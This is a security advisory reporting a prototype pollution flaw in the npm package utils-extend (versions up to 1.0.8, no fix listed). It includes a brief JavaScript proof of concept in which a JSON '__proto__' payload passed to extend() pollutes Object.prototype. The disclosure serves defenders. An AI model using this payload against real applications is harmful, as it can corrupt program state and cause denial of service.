GHSA-7qgg-vw88-cc99
utils-extend Prototype Pollution
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | utils-extend | <= 1.0.8 | no fix listed |
Details
As written in the advisory (Markdown source, shown as plain text).
The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.
## PoC
```js
async function exploit() {
const utilsextend = require(\"utils-extend\");
const payload = JSON.parse('{\"__proto__\":{\"exploited\":true}}');
const result = await utilsextend.extend({}, payload);
}
await exploit();
```
References
External links from the advisory. They lead to third-party sites.